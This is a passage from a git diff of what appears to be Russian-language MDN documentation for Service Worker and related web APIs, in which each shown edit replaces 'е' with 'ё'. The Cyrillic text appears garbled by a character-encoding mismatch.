Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ мСсто, Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΠΎΠ΅ Π½Π° дискС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ ТёсткиС ограничСния Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° кСша, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ доступно для использования сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ.</p>
<p>Promise,Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² <code>waitUntil()</code>, Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ события Π΄ΠΎ своСго Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, поэтому ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ процСсс очистки закончится Ρ€Π°Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ выполнится ΠΏΠ΅Ρ€Π²ΠΎΠ΅ событиС <code>fetch</code> Π½Π° основС нового кСша.</p>
diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html
index c01cb6c968..a0453d4354 100644
--- a/files/ru/web/api/serviceworker/scripturl/index.html
+++ b/files/ru/web/api/serviceworker/scripturl/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorker/scriptURL
---
<div>{{APIRef("Service Workers API")}}</div>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β URL, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° скрипт Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ Service Worker,Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π΅, Ρ‡Ρ‚ΠΎ ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΒ <code>ServiceWorker</code>.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β URL, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° скрипт Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ Service Worker,Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π΅, Ρ‡Ρ‚ΠΎ ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΒ <code>ServiceWorker</code>.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html
index 7fd83f836c..3c86ae2687 100644
--- a/files/ru/web/api/serviceworkercontainer/register/index.html
+++ b/files/ru/web/api/serviceworkercontainer/register/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorkerContainer/register
---
<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
-<p><strong><code>register()</code></strong>Β ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("ServiceWorkerContainer")}} интСрфСйса ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт и обновляСт <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>Β  для ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎΒ <code>URL js скрипта</code>.</p>
+<p><strong><code>register()</code></strong>Β ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("ServiceWorkerContainer")}} интСрфСйса ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт и обновляСт <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>Β  для ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎΒ <code>URL js скрипта</code>.</p>
<p>Если ΡƒΠ΄Π°Ρ‡Π½ΠΎ, service worker registration связываСтся по ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒΒ URL js скрипта , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ совпадСния ΠΏΡ€ΠΈΒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ URL. Если мСтод Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>ServiceWorkerRegistration</code>, ΠΎΠ½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. Π•ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° условиС, Ρ‚.Π΅.Β Π½Π΅Ρ‚ нСобходимости сначала ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ сущСствуСт Π»ΠΈ активная рСгистрация Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
@@ -33,13 +33,13 @@ translation_of: Web/API/ServiceWorkerContainer/register
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_использования">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования</h2>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡΒ Π²ΠΌΠ΅ΡΡ‚Π΅ для Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ понимания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ примСняСтся scopeΒ service worker-ΠΎΠ² ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ страницС.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡΒ Π²ΠΌΠ΅ΡΡ‚Π΅ для Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ понимания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ примСняСтся scopeΒ service worker-ΠΎΠ² ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ страницС.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½Ρ‹ΠΉ scope (Π½Π΅ указывая Π΅Π³ΠΎ прямо). Service worker Π² этом случаС Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ <code>example.com/index.html</code> ΠΈ страницы, располоТСнныС "Π³Π»ΡƒΠ±ΠΆΠ΅", Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>example.com/product/description.html</code>.</p>
<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
// РСгистрация service worker-Π°, располоТСнного Π² ΠΊΠΎΡ€Π½Π΅ сайта
-Β  // Π·Π° счСт использования Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ³ΠΎ scope (Π½Π΅ указывая Π΅Π³ΠΎ)
+Β  // Π·Π° счёт использования Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ³ΠΎ scope (Π½Π΅ указывая Π΅Π³ΠΎ)
Β  navigator.serviceWorker.register('/sw.js').then(function(registration) {
Β  Β  console.log('Service worker зарСгистрирован:', registration);
Β  }).catch(function(error) {
@@ -50,7 +50,7 @@ translation_of: Web/API/ServiceWorkerContainer/register
Β  console.log('Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ service worker-Ρ‹');
}</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΎΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π½Π° страницС корня сайта, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ Ρ€ΠΎΠ²Π½ΠΎ ΠΊ Ρ‚Π΅ΠΌ ΠΆΠ΅ страницам, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, scope, Ссли ΠΎΠ½ ΡƒΠΊΠ°Π·Π°Π½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ path страницы Π² качСствС своСй Π±Π°Π·Ρ‹. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ, Ссли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° страницС <code>example.com/product/description.html</code>, Ρ‚ΠΎ scope <code>./</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ service workerΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ со страницами Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>example.com/product</code>. Если Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ service worker Π½Π°Β <code>example.com/product/description.html</code>, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ обслуТивал ΠΈ ΠΊΠΎΡ€Π΅Π½ΡŒ,Β <code>example.com</code>, Ρ‚ΠΎ scope Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ совсСм, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΎΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° страницС корня сайта, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ Ρ€ΠΎΠ²Π½ΠΎ ΠΊ Ρ‚Π΅ΠΌ ΠΆΠ΅ страницам, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, scope, Ссли ΠΎΠ½ ΡƒΠΊΠ°Π·Π°Π½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ path страницы Π² качСствС своСй Π±Π°Π·Ρ‹. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ, Ссли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° страницС <code>example.com/product/description.html</code>, Ρ‚ΠΎ scope <code>./</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ service workerΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ со страницами Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>example.com/product</code>. Если Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ service worker Π½Π°Β <code>example.com/product/description.html</code>, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ обслуТивал ΠΈ ΠΊΠΎΡ€Π΅Π½ΡŒ,Β <code>example.com</code>, Ρ‚ΠΎ scope Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ совсСм, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅.</p>
<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
Β  // РСгистрация service worker-Π°, располоТСнного Π² ΠΊΠΎΡ€Π½Π΅ сайта
diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
index 9ef0d95a7d..cc9b0097ba 100644
--- a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
+++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
@@ -35,7 +35,7 @@ navigator.serviceWorker.register('serviceworker.js').then(
// ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ XMLHttpRequest.
}, function(error) {
// ΠŸΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ это часто ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΡ‚Π»Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ошибки Π² консоли.
- // Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½-срСдС это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Π΅Ρ‚Π°
+ // Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½-срСдС это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π°
// ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Π½Π° сСрвСр прилоТСния.
console.log(error);
}
diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
index fdcd0943fc..1be41dab02 100644
--- a/files/ru/web/api/serviceworkerregistration/shownotification/index.html
+++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
@@ -43,7 +43,7 @@ translation_of: Web/API/ServiceWorkerRegistration/showNotification
<li><code>renotify</code>: A boolean that indicates whether to supress vibrations and audible alerts when resusing a <code>tag</code> value. The default is false.</li>
<li><code>requireInteraction</code>: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twentyΒ seconds. The default value is <code>false</code>.</li>
<li><code>tag</code>: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.</li>
- <li><code>vibrate</code>: Π¨Π°Π±Π»ΠΎΠ½ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, которая Π±ΡƒΠ΄Π΅Ρ‚ воспроизвСдСна вмСстС с увСдомлСниСм. Π¨Π°Π±Π»ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ массивом ΠΈΠ· ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта. ЗначСния элСмСнтов это врСмя Π² миллисСкундах,Β ΠΏΡ€ΠΈ этом Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ элСмСнты (0, 2, 4, ΠΈ Ρ‚.Π΄.) ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, Π° Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ ΠΏΠ°ΡƒΠ·. НапримСр,Β <code>[300, 100, 400]</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡŽ 300ms, ΠΏΠ°ΡƒΠ·Ρƒ 100ms, Π·Π°Ρ‚Π΅ΠΌ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡŽ 400ms.</li>
+ <li><code>vibrate</code>: Π¨Π°Π±Π»ΠΎΠ½ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, которая Π±ΡƒΠ΄Π΅Ρ‚ воспроизвСдСна вмСстС с увСдомлСниСм. Π¨Π°Π±Π»ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ массивом ΠΈΠ· ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта. ЗначСния элСмСнтов это врСмя Π² миллисСкундах,Β ΠΏΡ€ΠΈ этом Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ элСмСнты (0, 2, 4, ΠΈ Ρ‚.Π΄.) ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, Π° Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ ΠΏΠ°ΡƒΠ·. НапримСр,Β <code>[300, 100, 400]</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡŽ 300ms, ΠΏΠ°ΡƒΠ·Ρƒ 100ms, Π·Π°Ρ‚Π΅ΠΌ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡŽ 400ms.</li>
<li><code>data</code>: Arbitrary data that you want associated with the notification. This can be of any data type.</li>
</ul>
</dd>
diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html
index a1702d28b1..9185341f54 100644
--- a/files/ru/web/api/serviceworkerstate/index.html
+++ b/files/ru/web/api/serviceworkerstate/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerState
<dt><code>installed</code></dt>
<dd>Service worker находится Π² состоянии оТидания ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ послС закрытия всСх страниц Π΅Π³ΠΎ источника, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ service worker'Π°.</dd>
<dt><code>activating</code></dt>
- <dd>Service worker Π² Π΄Π°Π½Π½ΠΎΠΌ состоянии считаСтся Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Π’ этом состоянии, ΠΌΠ΅Ρ‚ΠΎΠ΄ {{DOMxRef("ExtendableEvent.waitUntil()")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ события <code>onactivate</code> для продлСния этапа Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈΒ Π΄ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ промиса. Service worker Π½Π΅ Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ события Π΄ΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π² состояниС <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd>
+ <dd>Service worker Π² Π΄Π°Π½Π½ΠΎΠΌ состоянии считаСтся Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Π’ этом состоянии, ΠΌΠ΅Ρ‚ΠΎΠ΄ {{DOMxRef("ExtendableEvent.waitUntil()")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ события <code>onactivate</code> для продлСния этапа Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈΒ Π΄ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ промиса. Service worker Π½Π΅ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ события Π΄ΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π² состояниС <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd>
<dt><code>activated</code></dt>
<dd>Service worker Π² Π΄Π°Π½Π½ΠΎΠΌ состоянии Π°ΠΊΡ‚ΠΈΠ²Π΅Π½ ΠΈ Π³ΠΎΡ‚ΠΎΠ² ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ события.</dd>
<dt><code>redundant</code></dt>
diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html
index 7e2b91c3c7..a50a9664a3 100644
--- a/files/ru/web/api/sharedworker/index.html
+++ b/files/ru/web/api/sharedworker/index.html
@@ -30,7 +30,7 @@ translation_of: Web/API/SharedWorker
<dl>
<dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ раздСляСмый Π²Π΅Π± Π²ΠΎΡ€ΠΊΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт скрипт ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ раздСляСмый Π²Π΅Π± Π²ΠΎΡ€ΠΊΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт скрипт ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html
index d4f5246027..1731b109f3 100644
--- a/files/ru/web/api/speechgrammar/index.html
+++ b/files/ru/web/api/speechgrammar/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/SpeechGrammar
<dl>
<dt>{{domxref("SpeechGrammar.SpeechGrammar()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>SpeechGrammar</code> .</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>SpeechGrammar</code> .</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html
index 8331ae2e91..f7939e84d2 100644
--- a/files/ru/web/api/speechrecognition/index.html
